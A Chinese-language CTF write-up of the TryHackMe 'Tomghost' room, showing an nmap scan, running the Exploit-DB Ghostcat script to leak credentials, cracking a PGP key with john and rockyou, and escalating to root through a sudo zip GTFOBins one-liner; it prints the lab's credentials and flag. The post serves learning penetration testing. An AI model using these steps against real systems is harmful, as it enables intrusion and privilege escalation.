[Day16] THM Tomghost

扫描

  • nmap -A 10.10.9.138
    • 有开的 port
      • 22 SSH 7.2ps
      • 53 tcpwarpped
      • 8009 AJP13 1.3
      • 8080 Tomcat 9.0.30

寻找 Exploit

Exploit

  • 下载脚本
    • wget https://www.exploit-db.com/download/48143
    • mv 48143 48143.py
  • 执行指令
    • python 48143.py
    • 就直接喷出帐号密码ㄌ
      • 帐号 : skyfuck
      • 密码 : 8730281lkjlkjdqlksalks

SSH

暴力破解 PGP

  • 我们刚刚下载到一个 asc 档案 跟一个 pgp 档案

    • 先试着用 file 观察他们是什麽
    • 大概可以了解到
      • .pgp 是加密後ㄉ东西
      • .asc 的是 private key
  • pgp 转 john

    • gpg2john tryhackme.asc > john_gpg
    • 备注 : gpg 是开源版本的 pgp
    • 我们要破的是 .asc 的 private key 档案求密码
  • 用 john 爆破,With rockyou.txt

    • john john_gpg --wordlist=/opt/rockyou.txt
    • 破出密码为 alexandru
  • gpg --decrypt credential.pgp

    • 输入密码
      • 取得 merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

提权

  • su merlin
    • 输入密码
  • sudo -l
    • (root : root) NOPASSWD: /usr/bin/zip
    • 发现有 zip 的 sudo 权限
  • GTFOBins 找 zip 提权方法
    • 可以 sudo 的
      • TF=$(mktemp -u)
      • sudo zip $TF /etc/hosts -T -TT 'sh #'
  • 提权成功
    • root.txt : THM{Z1P_1S_FAKE}

<<:  Day 16 : Remove Nth Node From End of List

>>:  [Day16] Functions

[Day03] 基本型别

上一篇提到 JavaScript 是弱型别语言。 强型别语言在变数被宣告的时候必须指定资料型别给它,...

Day9 NodeJS-Buffer与Stream

这篇要进入到资料的世界,认识Buffer(缓冲)与Stream(串流),让之後要学的通讯协定及资料传...

资安学习路上-渗透测试实务2

弱点扫描(机器扫描) 蒐集对方系统资讯,可透过工具列举出易受攻击的弱点 上图取自台科大资安社课教材 ...

Day 4 - 资料绑定与模板语法

在 Vue 中,使用了基於HMTL的模板,这种模板与允许开发者声明式地将 DOM 绑定至底层 Vue...

轻松为您的企业创建徽标

使用量身定制的品牌徽标制作工具 Visual Paradigm Online,您只需单击几下即可设计...